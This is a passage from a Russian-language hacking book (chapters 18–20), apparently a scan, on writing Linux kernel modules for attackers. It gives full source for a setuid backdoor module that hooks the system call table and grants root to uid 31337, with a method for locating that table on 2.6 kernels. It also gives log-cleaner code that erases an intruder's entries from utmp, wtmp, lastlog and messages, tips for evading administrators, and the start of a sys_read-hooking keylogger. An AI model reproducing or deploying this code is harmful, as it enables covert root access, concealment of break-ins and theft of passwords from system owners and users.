VISIT…

Глава 18

Введение в программирование модулей ядра

Многие виды локального боевого программного обеспечения в Linux используют технологию LKM (Loadable Kernel Module, загружаемые модули ядра). Модуль ядра — это некий код, который может быть загружен и выгружен ядром по мере необходимости. Модули расширяют функциональные возможности ядра без необходимости перезагрузки системы.

Так как модули являются частью ядра, то они открывают фактически неограниченные возможности в системе. Хотя лог-клинеры (*см. гл. 19*) не используют технологию LKM, но ее могут использовать кейлогеры и руткиты (*см. гл. 20, 21*).

Программирование модулей для ядер 2.4.x и 2.6.x имеет некоторые отличия. Далее мы будем работать только с ядром 2.6.x, но также рассмотрим и программирование LKM для ядер 2.4.x, т. к. они еще встречаются в реальности на некоторых серверах, к тому же это нам позволит лучше понять изменения, произошедшие в версии 2.6.x. Для получения более полных сведений по программированию LKM обращайтесь к дополнительной литературе, например, к "The Linux Kernel Module Programming Guide" (**www.tldp.org**). Это руководство постоянно уточняется, начиная с ядер 2.2.x и заканчивая 2.6.x (в Интернете есть переводы на русский язык).

18.1. Модули в ядрах версии 2.4.x

В *гл. 11* мы рассматривали пример локального бекдора, который являлся модулем ядра для ядер версии 2.4.x. На примере этого бекдора (см. листинг 11.1) мы рассмотрим устройство модулей для ядер версии 2.4.x.

Модуль ядра стандартно состоит из двух функций. Первая функция `init_module()` вызывается сразу же после установки модуля в ядро. Вторая функция `cleanup_module()` вызывается непосредственно перед удалением

модуля из ядра, обычно она восстанавливает среду, которая существовала до установки модуля, т. е. выполняет обратные действия по отношению к `init_module()`. Наш модуль перехватывает системный вызов `setuid` и заменяет его своей версией. Этот системный вызов всегда используется при входе пользователя в систему, а также при регистрации нового пользователя в системе и т. п. Названия и номера системных вызовов можно посмотреть в файле /usr/include/asm/unistd.h. Стоит отметить, что для `setuid` в этом файле существует два вызова:

```
…
#define __NR_setuid       23
…
#define __NR_setuid32     213
…
```

В моей системе работает второй вариант (`__NR_setuid32`), вполне вероятно, что для вашей системы подойдет первый вариант.

В ядре существует таблица системных вызовов `sys_call_table`, которая по номеру системного вызова определяет адрес вызываемой функции ядра. Поэтому мы просто заменяем адрес функции для `__NR_setuid32` указателем на свою функцию (я назвал ее `change_setuid`), которая произведет нужные нам действия. Новая функция будет проверять с каким uid был вызван системный вызов; если это 31337, то для текущего пользователя (current) устанавливаются права root (0).

Компиляция модулей ядра 2.4.x на примере нашего бекдора из листинга 11.1 осуществляется следующим образом:

```
# gcc -o bdmod.o -c bdmod.c
```

Полученный файл bdmod.o следует скопировать в каталог, где его ищет утилита insmod (обычно это /lib/modules):

```
# cp bdmod.o /lib/modules
```

Затем его можно загрузить в ядро командой:

```
# insmod bdmod.o
```

Убедиться, что модуль установлен, позволяет утилита lsmod, которая отражает все установленные модули (утилита берет эту информацию из файла /proc/modules). Вот пример на моей системе:

```
# lsmod
Module          Size  Used by
bdmod            656   0  (unused)
autofs         11264   1  (autoclean)
tulip          38544   1  (autoclean)
```


Теперь можно проверить работу модуля, для этого достаточно войти в систему под учетной записью с uid, равным 31 337. В итоге будут получены права `root`:

```
# id
uid=0(root) gid=0(root)
```

Удалить модуль из ядра можно командой `rmmod`:

```
# rmmod bdmod
```

18.2. Модули в ядрах версии 2.6.x

В ядрах 2.6.x появилась возможность, кроме обычной структуры модуля, которая использовалась в ядрах 2.4.x, задействовать иной вид структуры модуля:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE ("GPL");

static int __init my_init(void)
{
  ...
  return 0;
}

static void __exit my_cleanup(void)
{
  ...
}

module_init(my_init);
module_exit(my_cleanup);
```

Таким образом, с помощью макроопределений `module_init()` и `module_exit()` (они определены в linux/init.h) снимаются требования к именованию начальной и конечной функции модуля. Хотя новая структура модуля довольно удобна, мы в дальнейшем будем использовать только обычную структуру модуля, которая использовалась в ядрах 2.4.x.

Самое важное изменение, произошедшее в ядрах 2.6.x, заключается в том, что теперь не экспортируется таблица системных вызовов `sys_call_table`,

поэтому код из листинга 11.1 в ядрах 2.6.x работать не будет. Но хакерами были найдены способы получения адреса sys_call_table, рассмотрим два из них. В качестве примера перепишем локальный бекдор из листинга 11.1 для ядер 2.6.x.

18.2.1. Нахождение адреса *sys_call_table*: первый способ

Адрес таблицы системных вызовов можно найти в файле System.map (в этом файле описываются имена переменных и функций ядра):

```
# grep sys_call_table /boot/System.map
c03ce760 D sys_call_table
```

Теперь в модуле можно сделать присваивания следующего вида:

```
unsigned long *sys_call_table;
*(long *)&sys_call_table=0xc03ce760;
```

После этого можно подменять системные вызовы при помощи функции xchg(). В листинге 18.1 показан локальный бекдор для ядра 2.6.x с использованием первого способа нахождения sys_call_table.

Рекомендуется во все хакерские модули включать макроопределение MODULE_LICENSE ("GPL"), которое задает условия лицензирования; если этого не сделать, модуль успешно загрузится, но операционная система выдаст предупреждение, сохраняющееся в логах и привлекающее внимание администраторов.

Компиляция модулей для ядра 2.6.x осуществляется не так, как для ядер 2.4.x. Во-первых, необходимо создать Makefile со следующим содержимым (для нашего модуля bmod-2.c):

```
obj-m += bmod-2.o
```

Во-вторых, нужно выполнить команду для сборки модуля следующего вида:

```
# make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
```

В том случае, если у вас в каталоге /usr/src присутствует символическая ссылка ~linux на каталог с исходными текстами ядра, то команда сборки будет выглядеть так:

```
# make -C /usr/src/linux SUBDIRS=$PWD modules
```

Как вы понимаете, исходные тексты ядра должны быть установлены в каталог /usr/src. Если у вас исходные коды ядра отсутствуют, то их нужно установить, иначе сборка модуля закончится с ошибкой. Устанавливать пакеты удобно через KDE или Gnome (ищите в меню функцию вроде "Установка программ"). Нужный пакет с исходными кодами ядра обычно имеет название вида kernel-source-номер_версии.

В результате выполнения команды в текущем каталоге образуется объектный файл модуля bdmod-2.ko. Обратите внимание: в ядрах 2.6 объектные файлы модулей имеют расширение .ko, а не .o.

Теперь модуль можно загрузить в ядро командой:

```
# insmod bdmod-2.ko
```

Просмотреть список установленных модулей можно командой lsmod, а удалить модуль командой rmmod:

```
# rmmod bdmod-2
```

Исходный код модуля bmod-2.c можно найти на компакт-диске в директории \PART V\Chapter 18\.

Листинг 18.1. Локальный бекдор LKM для ядер 2.6.x (bdmod-2.c)

```
/* Module backdoor for Linux 2.6.x */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>

MODULE_LICENSE ("GPL");

unsigned long *sys_call_table;
int (*orig_setuid)(uid_t);

int change_setuid(uid_t uid)
{
  if (uid == 31337)
  {
    current->uid = 0;
    current->euid = 0;
    current->gid = 0;
    current->egid = 0;
    return 0;
  }
  return (*orig_setuid)(uid);
```

```
}

int init_module(void)
{
  *(long *)&sys_call_table = 0xc03ce760;
  orig_setuid = (void *)xchg(&sys_call_table[__NR_setuid32],
change_setuid);

  return 0;
}

void cleanup_module(void)
{
  xchg(&sys_call_table[__NR_setuid32], orig_setuid);
}
```

18.2.2. Нахождение адреса *sys_call_table*: второй способ

Большим минусом первого способа нахождения адреса таблицы системных вызовов является то, что адрес приходится искать вручную, а он меняется от системы к системе. Поэтому нужен способ автоматического нахождения адреса `sys_call_table`. Разумеется, можно просто встроить в модуль функцию, которая открывала бы файл /boot/System.map и самостоятельно находила в нем нужный адрес. Но я приведу другой способ для демонстрации того, на что способна изощренная хакерская мысль. О нем я узнал в статье "Защита от исполнения в стеке (ОС Линукс)" от хакера dev0id из российской команды UkR Security Team (**www.ustsecurity.info**).

Dev0id обнаружил, что адрес таблицы `sys_call_table` всегда находится между концом секции кода и концом секции данных текущего процесса. Также он обнаружил, что ядром экспортируется вызов `sys_close`. Так как таблица системных вызовов содержит адреса всех системных вызовов, упорядоченные по номерам, то dev0id пришел к мысли, что можно перебором найти адрес `sys_close` в промежутке между концом секции кода и концом секции данных, а затем вычесть из этого адреса номер вызова, и получить тем самым адрес `sys_call_table`. Номер вызова `sys_close` равен 6 (номера всех системных вызовов можно увидеть в файле /usr/include/asm/unistd.h).

Для получения адреса конца секции кода (`init_mm.end_code`) и конца секции данных (`init_mm.end_data`) он использовал переменную `init_mm`, которая

является структурой `mm_struct` (описана в исходных кодах ядра в файле /arch/i386/kernel/init_task.c). Основной задачей данной переменной является описание менеджмента памяти для процесса инициализации ядра — процесса init (не нужно путать с init, у которого идентификатор процесса равен 1).

В листинге 18.2 приведена функция, которая самостоятельно находит адрес таблицы системных вызовов. Мы будем эту функцию использовать в дальнейшем во всех модулях ядра 2.6.x, где необходима подмена вызовов. Чтобы данная функция заработала, необходимо еще определить глобальную переменную:

```
unsigned long* sys_call_table;
```

В листинге 18.3 приведен исходный код локального бекдора, работающего с использованием второго способа нахождения адреса `sys_call_table`. Собирается и устанавливается в ядро этот модуль подобно тому, как мы это делали в предыдущем разделе.

Исходный код модуля bmod-3.c можно также найти на компакт-диске в директории \PART V\Chapter 18\.

В электронном журнале Phrack#58 в статье "Linux on-the-fly kernel patching without LKM" можно найти еще один способ нахождения адреса `sys_call_table`, но он зависит от используемой платформы и алгоритмически сложен.

Листинг 18.2. Функция для нахождения адреса `sys_call_table`

```
void find_sys_call_table(void)
{
  int i;
  unsigned long *ptr;
  unsigned long arr[4];
  /* получаем указатель на конец секции кода */
  ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
  /* начинаем поиск до конца секции данных */
  while((unsigned long)ptr < (unsigned long)init_mm.end_data) {
    /* если нашли адрес sys_close */
    if (*ptr == (unsigned long)((unsigned long *)sys_close)) {
     for(i = 0; i < 4; i++) {
       arr[i] =* (ptr + i);
       arr[i] = (arr[i] >> 16) & 0x0000ffff;
      }
```

```
        /* действительно ли адрес в таблице */
      if(arr[0] != arr[2] || arr[1] != arr[3]) {
        /* находим адрес таблицы системных вызовов */
        sys_call_table = (ptr - __NR_close);
        break;
      }
    }
    ptr++;
  }
}
```

Листинг 18.3. Локальный бекдор LKM для ядер 2.6.x (bdmod-3.c)

```
/* Module backdoor for Linux 2.6.x */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>

MODULE_LICENSE ("GPL");

unsigned long* sys_call_table;
int (*orig_setuid)(uid_t);

void find_sys_call_table(void)
{
  int i;
  unsigned long *ptr;
  unsigned long arr[4];
  ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
  while((unsigned long)ptr < (unsigned long)init_mm.end_data) {
    if (*ptr == (unsigned long)((unsigned long *)sys_close)) {
      for(i = 0; i < 4; i++) {
        arr[i] = *(ptr + i);
        arr[i] = (arr[i] >> 16) & 0x0000ffff;
      }
      if(arr[0] != arr[2] || arr[1] != arr[3]) {
        sys_call_table = (ptr - __NR_close);
```

scanned by xcodz for antichat


```
        break;
      }
    }
    ptr++;
  }
}

int change_setuid(uid_t uid)
{
  if (uid == 31337)
  {
    current->uid = 0;
    current->euid = 0;
    current->gid = 0;
    current->egid = 0;
    return 0;
  }
  return (*orig_setuid)(uid);
}

int init_module(void)
{
  find_sys_call_table();
  orig_setuid = (void *)sys_call_table[__NR_setuid32];
  sys_call_table[__NR_setuid32] = (unsigned long)change_setuid;
  return 0;
}

void cleanup_module(void)
{
  sys_call_table[__NR_setuid32] = (unsigned long)orig_setuid;
}
```

Глава 19

Лог-клинер (log-cleaner)

Лог-клинеры (от англ. *log cleaner* — очиститель журнала регистрации) или их еще называют лог-вайперами (от англ. *log wiper* — очиститель журнала регистрации) — это утилиты, предназначенные для удаления (очистки) информации из системных файлов регистрации (лог-файлов). Хакер использует очистку лог-файлов для сокрытия факта своего присутствия на взломанной системе. Иногда лог-клинеры входят в состав руткитов (*см. гл. 21*). В системе Linux большинство файлов регистрации хранится в каталоге /var/log.

Разумеется, хакер может просто удалить все лог-файлы на взломанной системе, но так поступают только самые неопытные взломщики, т. к. в этом случае администратор быстро обнаружит факт взлома. Лог-клинеры предназначены для удаления лишь части информации, связанной конкретно с хакером, позволяя ему оставаться "невидимым" в системе.

Все лог-файлы делятся на два типа: текстовые и бинарные. В текстовых лог-файлах данные хранятся в обычном текстовом формате. Примерами таких файлов являются: messages, secure, xferlog, mailog. В бинарных лог-файлах данные хранятся в двоичном формате. Примеры бинарных лог-файлов: utmp, wtmp, lastlog.

Для очистки лог-файлов применяют один из следующих трех способов:

1. Ищутся записи, которые нужно скрыть в лог-файле, и затираются пробелами или нулевыми структурами с помощью таких функций, как `memset()` или `bzero()`.
2. Из лог-файла во временный файл (или во временный буфер в памяти) копируется вся информация, кроме той, которую требуется скрыть, затем содержимое лог-файла заменяется информацией из сформированного временного файла (или из временного буфера в памяти).

3. Данные, которые нужно скрыть в лог-файле, не удаляются, а подменяются фальсифицированными аналогами. Например, IP-адрес хакера может быть подменен в лог-файлах с целью подставить другого человека.

Уже написано много утилит, которые тем или иным способом модифицируют лог-файлы. Наиболее известными из них являются: marry, logcloak, cloack2, remove, zap2, vanish, wipe (в исходных кодах лежат на **http://packetstormsecurity.org**).

Мы напишем два лог-клинера, работающие соответственно по первому и по второму способу. Лог-клинер, использующий третий способ, вы можете написать самостоятельно.

19.1. Устройство бинарных лог-файлов

Если работа с текстовыми лог-файлами осуществляется точно так же как с обычными текстовыми файлами, то с бинарными лог-файлами это не так, из-за особой их структуры. Основными бинарными лог-файлами в Linux являются:

- utmp — содержит сведения о текущих подключениях к системе. Стандартно расположен в системе по следующему пути: /var/run/utmp. Из этого лог-файла читают информацию системные утилиты who и w;
- wtmp — содержит исторические сведения о подключениях к системе. Стандартно расположен по следующему пути: /var/log/wtmp. Из этого лог-файла читает информацию системная утилита last;
- lastlog — содержит информацию о последнем входе пользователя в систему. Стандартно расположен по следующему пути: /var/log/lastlog. Из него читает информацию одноименная системная утилита lastlog.

Если файлы utmp, wtmp и lastlog удалить, то запись событий не будет осуществляться. Чтобы начать журналирование, эти файлы нужно создать пустыми:

```
# cp /dev/null /var/run/utmp
# cp /dev/null /var/log/wtmp
# cp /dev/null /var/log/lastlog
```

Кроме перечисленных лог-файлов мы рассмотрим очистку еще одного лог-файла под именем btmp, в котором сохраняется информация о неудачных попытках входа пользователей в систему. Стандартно он расположен по следующему пути: /var/log/btmp. С этим лог-файлом работает утилита lastb, подобная last. Обычно по умолчанию файл btmp в системе отсутствует, поэтому, чтобы осуществлялось журналирование, его нужно создать:

```
# cp /dev/null /var/log/btmp
```

Я не встречал ни одного лог-клинера, который бы очищал этот лог-файл, поэтому мы добавим эту возможность в наши утилиты.

Так как во все перечисленные бинарные лог-файлы заносится информация о подключениях и перезапусках системы, то, следовательно, в них должны писать такие процессы, как login, getty, ftp, xdm, kdm и т. п.

Если хакер не удалит сведения из перечисленных лог-файлов, то администратор сможет легко обнаружить его присутствие в системе простым запуском утилит who, w, last, lastlog и, возможно, lastb. Вообще способов сокрытия записей от таких администраторских утилит, как who, w и т. д., существует множество. Например, можно внедрить модуль ядра, который будет перехватывать системные вызовы. Можно подменить сами файлы who, w и пр., чтобы они показывали только часть информации. Но в данной главе мы рассматриваем только очистку лог-файлов.

Утилиты who, w и last берут лишь часть данных из лог-файлов utmp и wtmp, обычно в этих логах сохраняется гораздо больше информации. В Linux присутствует утилита utmpdump, которая позволяет просмотреть полную информацию из utmp и wtmp, а также из btmp, в понятном для человека формате:

```
# utmpdump /var/run/utmp
# utmpdump /var/log/wtmp
# utmpdump /var/log/btmp
```

Каждая строка в выводимой информации состоит из восьми позиций, а каждая позиция ограничена квадратными скобками. Ниже показан пример одной такой строки:

```
[7] [11422] [/3   ] [root     ] [pts/3        ] [           ]
[0.0.0.0        ] [Tue Jul 04 05:21:46 2006     ]
```

В первой позиции расположено число, которое является идентификатором сессии; во второй расположен PID процесса; в третьей могут быть следующие значения: ~~, bw, число или буква и число. Эти метки обозначают соответственно: изменение уровня запуска или перезагрузку системы, процесс bootwait, номер TTY, комбинацию буквы и числа для PTY (псевдотерминал). Четвертая позиция может быть либо пустой, либо содержать имя пользователя, reboot (перезагрузка) или runlevel (уровень запуска). В пятой позиции указывается контролирующий TTY или PTY, если эти данные известны. Шестая позиция показывает имя удаленного узла. Если подключение осуществляется с локального узла, в этом поле ничего не указывается. В седьмой позиции указывается IP-адрес удаленной системы. И в последней, восьмой, позиции содержатся дата и время внесения записи.

Содержимое файлов utmp и wtmp в целом совпадает, только в файле utmp записи расположены в хронологическом порядке, а в wtmp этот порядок противоположен, т. е. самые старые записи расположены в конце. Часто в utmp присутствуют устаревшие записи из-за того, что соответствующие сеансы когда-то были завершены некорректно.

В man utmp или man wtmp можно узнать, что лог-файлы wtmp и utmp состоят из последовательности структур. Причем эти структуры одинаковы для файлов wtmp, utmp и btmp, и объявлены в заголовочном файле utmp.h (листинг 19.1). В Linux этот заголовочный файл расположен в директории /usr/include/bits/.

Листинг 19.1. Структура utmp

```
#define UT_LINESIZE   12
#define UT_NAMESIZE 32
#define UT_HOSTSIZE 256
struct utmp
{
  short int ut_type; /* Тип записи. */
  pid_t ut_pid;      /* Идентификатор процесса. */
  char ut_line[UT_LINESIZE]; /* Имя устройства (console, ttyxx) */
  char ut_id[4]; /* Идентификатор из файла /etc/inittab (обычно номер
                    линии) */
  char ut_user[UT_NAMESIZE];  /* Входное имя пользователя */
  char ut_host[UT_HOSTSIZE];  /* Имя удаленного узла или IP-адрес */
  struct exit_status ut_exit; /* Код завершения процесса, помеченного
                                 как DEAD_PROCESS */
  long int ut_session;   /* ID сессии */
  struct timeval ut_tv;  /* Время создания записи */
  int32_t ut_addr_v6[4]; /* IP-адрес удаленного узла в сетевом порядке
                            байтов (для локального пользователя имеет
                            нулевое значение) */
  char __unused[20]; /* Зарезервировано для будущего использования */
};

struct exit_status {
  short int e_termination; /* Системный код завершения процесса */
  short int e_exit;        /* Пользовательский код завершения */
};

/* Для совместимости */
```

```
#define ut_name    ut_user
#ifndef _NO_UT_TIME
#define ut_time    ut_tv.tv_sec
#endif
#define ut_xtime   ut_tv.tv_sec
#define ut_addr    ut_addr_v6[0]
```

Структура `lastlog` тоже определена в файле utmp.h (листинг 19.2).

Листинг 19.2. Структура `lastlog`

```
struct lastlog
{
  __time_t ll_time;          /* Временная метка */
  char ll_line[UT_LINESIZE]; /* Имя устройства (console, ttyxx) */
  char ll_host[UT_HOSTSIZE]; /* IP-адрес или имя удаленного узла
                                (для локального пользователя пусто) */
};
```

В Linux существует отдельный заголовочный файл lastlog.h, но обычно он содержит только одну строчку "#include <utmp.h>", т. е. вся информация находится в файле utmp.h.

Как правило, записи в файлах utmp, wtmp и lastlog удаляет та программа, которая их туда вносила, например, login. Причем на самом деле записи не удаляются — в соответствующей структуре очищаются поля с входным именем пользователя и именем узла, а значение, которое было в поле времени (`ut_time`), изменяется на время выхода. В файлах utmp и wtmp дополнительно производится модификация типа записи (`ut_type`) с `USER_PROCESS` на `DEAD_PROCESS`. Ниже приведены определения для `ut_type` взятые из utmp.h:

```
#define EMPTY          0 /* Отсутствие пользовательской информации */
#define RUN_LVL        1 /* Системный уровень выполнения */
#define BOOT_TIME      2 /* Время загрузки системы */
#define NEW_TIME       3 /* Время после изменения системного времени */
#define OLD_TIME       4 /* Время, когда системное время было изменено */
#define INIT_PROCESS   5 /* Процесс, порожденный вызовом init */
#define LOGIN_PROCESS  6 /* Процесс зарегистрировавшегося
                            в системе пользователя */
#define USER_PROCESS   7 /* Нормальный процесс */
#define DEAD_PROCESS   8 /* Завершенный процесс */
#define ACCOUNTING     9 /* Системный учет */
```


В некоторых системах UNIX используется расширенная структура `utmp` под названием `utmpx`, соответственно лог-файлы в таких системах имеют названия utmpx, wtmpx и btmpx. Некоторые существующие лог-клинеры предусматривают очистку этих лог-файлов, но в нашей утилите мы не будем этого делать, т. к. я не видел, чтобы они использовались в какой-либо системе Linux. Однако вы сможете самостоятельно реализовать поддержку очистки лог-файлов utmpx, wtmpx и btmpx по аналогии с очисткой utmp, wtmp и btmp.

Существуют функции `updwtmp()` и `logwtmp()` для добавления новых записей к текущему файлу wtmp. Для работы с файлом utmp также существуют специализированные функции. Например, функция `setutent()` устанавливает указатель на начало файла utmp; `getutent()` считывает строку, начиная с текущей позиции; `getutid()` производит прямой поиск, начиная с текущей позиции; `pututline()` записывает структуру `utmp ut` в файл utmp и т. д. Подробнее с ними вы сможете ознакомиться в man, там же присутствует демонстрационный код. Но для работы с lastlog не существует специализированных функций. Поэтому при разработке своего лог-клинера мы не будем задействовать специализированные функции, а используем только стандартные функции языка Си: `read()`, `write()` и пр. Так поступают практически все существующие лог-клинеры.

19.2. Реализация лог-клинера (первый вариант)

В этом разделе я расскажу, как написать свой лог-клинер с реализацией первого способа, т. е. с затиранием информации нулями и пробелами. Минусом этого способа является то, что многие утилиты обнаружения атак проверяют файлы utmp/wtmp/lastlog на наличие нулевых структур. Поэтому грамотные хакеры пользуются лог-клинерами, работающими только по второму способу (*см. разд. 19.3*).

Исходный код лог-клинера logclean1.c в книге не приводится, вы сможете найти его на компакт-диске в директории \PART V\Chapter 19\. Здесь мы разберем только его ключевые моменты.

В лог-клинере я делаю включение файла lastlog.h. Но как я говорил ранее, в системе Linux этот заголовочный файл не обязателен, ибо является ссылкой на utmp.h. Также я определяю пути к лог-файлам, которые наш лог-клинер будет очищать (хотя `UTMP_FILE` и `WTMP_FILE` определены в utmp.h):

```
#define UTMP_FILE "/var/run/utmp"
#define WTMP_FILE "/var/log/wtmp"
```

```
#define BTMP_FILE "/var/log/btmp"
#define LASTLOG_FILE "/var/log/lastlog"
#define MESSAGES_FILE "/var/log/messages"
```

В программе мной созданы три основные функции: `dead_uwbtmp()` предназначена для очистки файлов utmp, wtmp и btmp, `dead_lastlog()` очищает lastlog, а `dead_messages()` очищает текстовый лог-файл messages. Рассмотрим каждую функцию в отдельности.

В листинге 19.3 приведен исходный код функции `dead_uwbtmp()`.

Листинг 19.3. Функция `dead_uwbtmp()`

```
dead_uwbtmp(char *name_file, char *username, char *tty)
{
  struct utmp pos;
  int fd;

  if ( (fd = open(name_file, O_RDWR)) == -1) {
    perror(name_file);
    return;
  }

  while (read(fd, &pos, sizeof(struct utmp)) > 0)
  {
    if ( (strncmp(pos.ut_name, username, sizeof(pos.ut_name)) == 0) &&
         (strncmp(pos.ut_line, tty, sizeof(pos.ut_line)) == 0) ) {

      bzero(&pos, sizeof(struct utmp));
      if (lseek(fd, -sizeof(struct utmp), SEEK_CUR) != -1)
        write(fd, &pos, sizeof(struct utmp));
    }
  }

  close(fd);
}
```

В эту функцию передается имя лог-файла, в котором будет осуществляться очистка, а также имя пользователя и TTY, по которым будет производиться поиск записи для удаления. В свою очередь имя пользователя и TTY запрашивается у пользователя из командной строки. С помощью функции `open()` лог-файл открывается на чтение и запись, затем из него последовательно считываются структуры с помощью `read()`, и как только обнаруживается совпадение с именем пользователя (`ut_name`) и именем терминала (`ut_line`), подготавливается "чистая" структура, полностью заполненная нулями при помощи `bzero()`. Чистая структура записывается на место существующей функцией `write()`, для чего предварительно устанавливается файловый указатель на начало модифицируемой структуры с помощью `lseek()`.

В листинге 19.4 приведен исходный код функции `dead_lastlog()`.

Листинг 19.4. Функция `dead_lastlog()`

```
dead_lastlog(char *name_file, char *username)
{
  struct passwd *pwd;
  struct lastlog pos;
  int fd;

  if ( (pwd = getpwnam(username)) != NULL)
  {
    if ( (fd = open(name_file, O_RDWR)) == -1) {
      perror(name_file);
      return;
    }

    lseek(fd, (long)pwd->pw_uid * sizeof(struct lastlog), SEEK_SET);
    bzero((char *)&pos, sizeof(struct lastlog));
    write(fd, (char *)&pos, sizeof(struct lastlog));
    close(fd);
  }
}
```

В структуре lastlog отсутствует поле с именем пользователя, поэтому для модификации этого лог-файла нужен другой подход, отличный от модификации utmp, wtmp, btmp. В решении этой задачи поможет следующий момент — все записи в файле lastlog отсортированы по UID. Поэтому в функции `dead_lastlog()` по имени пользователя определяется UID с помощью стандартной функции `getpwnam()`. Затем производится очистка найденной структуры в файле lastlog.

В листинге 19.5 приведен исходный код третьей основной функции `dead_messages()`.

Листинг 19.5. Функция `dead_messages()`

```
dead_messages(char *name_file, char *username, char *tty, char *ip, char
*hostname)
{
  clear_info(name_file, username);
  clear_info(name_file, tty);

  if (ip != NULL) clear_info(name_file, ip);
  if (hostname != NULL) clear_info(name_file, hostname);
}
```

В функцию передается имя лог-файла, в котором будет осуществляться очистка, а также имя пользователя, TTY, IP-адрес и имя узла по которым будет производиться поиск записи для удаления. Последние три параметра запрашиваются у пользователя из командной строки, при этом IP-адрес и имя узла не обязательны, поэтому в функции `dead_messages()` они проверяются на NULL. Как видно, основные действия по очистке на самом деле выполняются в функции `clear_info()`, в листинге 19.6 приведен исходный код этой функции.

Листинг 19.6. Функция `clear_info()`

```
clear_info(char *name_file, char *info)
{
  char buffer[MAXBUFF];
  FILE *lin;
  int i;
  char *ukaz;
  char *token;
  char pusto[200];

  for (i = 0; i < 200; i++) pusto[i] = ' ';

  if ( (lin = fopen(name_file, "r+")) == 0) {
    perror(name_file);
    exit(-1);
  }

  while (fgets(buffer, MAXBUFF, lin) != NULL)
  {
    if ( (ukaz = strstr(buffer, info)) != 0) {
      fseek (lin, ftell(lin) - strlen(ukaz), SEEK_SET);
      token = strtok(ukaz, " ");
      strncpy(token, pusto, strlen(token));
      fputs(token, lin);
    }
  }

  fclose(lin);
}
```


В функции `clear_info()` сначала подготавливается буфер `pusto`, заполненный 200 символами пробела. Затем лог-файл открывается для исправления (т. е. для чтения и записи) и последовательно в цикле считывается каждая строка. Если в строке обнаруживается информация для очистки, то она затирается пробелами из `pusto`.

19.3. Реализация лог-клинера (второй вариант)

Сейчас рассмотрим лог-клинер с реализацией второго способа, т. е. с использованием временных файлов для удаления записей из лог-файлов. Исходный код лог-клинера logclean2.c в книге не приводится, вы сможете найти его на компакт-диске в директории \PART V\Chapter 19\. В нем также создаются три основные функции: `dead_uwbtmp()` предназначена для очистки utmp, wtmp и btmp, `dead_lastlog()` очищает lastlog, а `dead_messages()` модифицирует текстовый лог-файл messages. Но работают эти функции уже не так, как в предыдущем лог-клинере.

В функциях `dead_uwbtmp()` и `dead_messages()` для очистки лог-файла применяется следующий подход: открывается лог-файл на чтение и создается временный файл под именем ftmp. Затем последовательно в цикле читается информация из лог-файла и записывается во временный файл ftmp, при этом информация, которую нужно скрыть, игнорируется, т. е. не записывается в ftmp. Затем, когда временный файл полностью сформирован, вызывается функция

copy_tmp(). Эта функция подменяет содержимое изначального лог-файла информацией из сформированного временного файла ftmp, после чего удаляет временный файл (листинг 19.7).

Листинг 19.7. Функция copy_tmp()

```
copy_tmp(char *name_file)
{
  char buffer[100];
  sprintf(buffer, "cat ftmp > %s ; rm -f ftmp", name_file);
  printf("%s\n", buffer);
  if (system(buffer) < 0) {
    printf("Error!");
    exit(-1);
  }
}
```

Функция dead_lastlog() во многом схожа с той, что мы рассматривали в предыдущем разделе, только информация затирается не с помощью функции bzero(), а простой подстановкой пробелов и нуля:

```
lseek(fd, (long)pwd->pw_uid * sizeof(struct lastlog), SEEK_SET);
pos.ll_time = 0;
strcpy(pos.ll_line, " ");
strcpy(pos.ll_host, " ");
write(fd, (char *)&pos, sizeof(struct lastlog));
```

Для очистки lastlog мы не используем удаление записей с помощью временного файла из-за того, что очень не просто организовать чтение каждой записи в этом лог-файле.

Глава 20

Регистратор нажатия клавиш (keylogger)

Регистраторы нажатия клавиш или кейлоггеры (от англ. *key* — клавиша, log — вносить в журнал) скрытно от пользователя перехватывают нажатия всех клавиш, и прежде чем передать их операционной системе, записывают в скрытый файл на диск. Кейлоггеры используются хакерами, прежде всего для того, чтобы перехватить имена учетных записей и пароли, которые пользователь рано или поздно будет вводить в системе.

В электронном журнале Phrack № 59 была напечатана хорошая статья, посвященная написанию кейлоггеров под названием "Writing Linux Kernel Keylogger". В ней рассматриваются различные способы перехвата нажатия клавиш в системе Linux, а также показана реализация кейлоггера, основанного на технологии LKM для ядра версии 2.4.x. Я не буду приводить примеры из этой статьи, но настоятельно рекомендую вам с ней ознакомиться.

В этой главе мы напишем LKM-кейлоггер для ядра версии 2.6.x. В качестве основы я взял кейлоггер от некоего mercenary, который был выложен в Интернет сразу с небольшой статьей автора "Kernel Based Keylogger" (ее можно взять по адресу **http://packetstormsecurity.org/UNIX/security/kernel.keylogger.txt**). Этот кейлоггер также был написан для ядра версии 2.4.x, поэтому я несколько упростил его и переписал для ядра версии 2.6.x.

Практически все нажатия клавиш в оболочке Linux, осуществляемые локально или удаленно, должны обрабатываться системным вызовом sys_read, поэтому если вмешаться в работу этого вызова, то можно будет перехватывать все нажатия. Осуществить это можно с помощью модуля ядра LKM обычной подменой вызова.

Полный исходный код кейлоггера в книге не приводится, так как он довольно большой по объему, вы можете взять его на компакт-диске в директории \PART V\Chapter 20\. А здесь мы рассмотрим только его ключевые моменты.

В стандартной функции модуля `init_module()` мы подменяем системный вызов `read` нашей функцией `hacked_read`, а в стандартной функции `cleanup_module()` происходит восстановление оригинального системного вызова:

```
int init_module(void)
{
  find_sys_call_table();
  original_read = (void *)sys_call_table[__NR_read];
  sys_call_table[__NR_read] = (unsigned long)hacked_read;

  return 0;
}

void cleanup_module(void)
{
  sys_call_table[__NR_read] = (unsigned long)original_read;
}
```

Вы видите, что в самом начале функции `init_module()` стоит вызов функции `find_sys_call_table()`, которая находит адрес таблицы системных вызовов `sys_call_table()`, что мы вынуждены делать для ядер версии 2.6.*x* (*подробную информацию см. в гл. 18*).

В нашей функции `hacked_read()` первоначально вызывается оригинальный вызов, нам необходимо это сделать, чтобы получить код нажатой клавиши, к тому же если этого не сделать, система будет работать некорректно:

```
int r;
r = original_read(fd, buf, count);
```

В переменную `r` возвращается количество прочитанных символов, а в буфер `buf` код нажатой клавиши.

С помощью утилиты strace вы можете выяснить, что вызов `read` обрабатывает за один вызов только один клавишный код (в примере ниже вводится команда `ls -la`):

```
# strace sh
...
